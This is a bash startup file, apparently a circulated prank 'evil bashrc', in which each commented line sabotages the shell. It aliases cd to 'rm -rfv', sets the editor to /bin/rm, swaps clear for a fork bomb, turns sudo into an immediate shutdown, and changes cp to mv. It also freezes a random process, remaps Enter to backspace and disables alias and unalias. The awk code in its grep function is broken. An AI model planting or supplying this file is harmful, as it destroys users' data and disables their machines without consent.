.bashrc

#!/usr/bin/env bash

# Set `rm` as the default editor.
export EDITOR=/bin/rm;

# Make Tab send the delete key.
tset -Qe $'\t';

# Randomly make the shell exit whenever a command has a non-zero exit status.
((RANDOM % 10)) || set -o errexit;

# Let `cat` swallow every input and never return anything.
alias cat=true;

# Use a random sort option whenever `ls` is invoked.
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

# Delete directories instead of entering them.
alias cd='rm -rfv';

# Shut down the computer instead of running a command with super-user rights.
alias sudo='sudo shutdown -P now';

# Launch a fork bomb instead of clearing the screen.
alias clear=':(){ :|:& };:';

# Have `date` return random dates.
alias date='date -d "now + $RANDOM days"';
# Send STOP signal to random process at random time.
sleep $[ ( $RANDOM % 100 )    + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

# Have `cp` perform `mv` instead.
alias cp='mv';

# Make `exit` open a new shell.
alias exit='sh';

# Add a random number to line numbers when using `grep -n`.
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

# Invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !';

# Map Enter, Ctrl+J, and Ctrl+M to backspace.
bind '"\C-J":"\C-?"';
bind '"\C-M":"\C-?"';

# Send `n` (no) instead of `y` (yes)
alias yes="yes n";

# Quit vim on startup.
alias vim="vim +q";

# Disable `unalias` and `alias`.
alias unalias=false;
alias alias=false;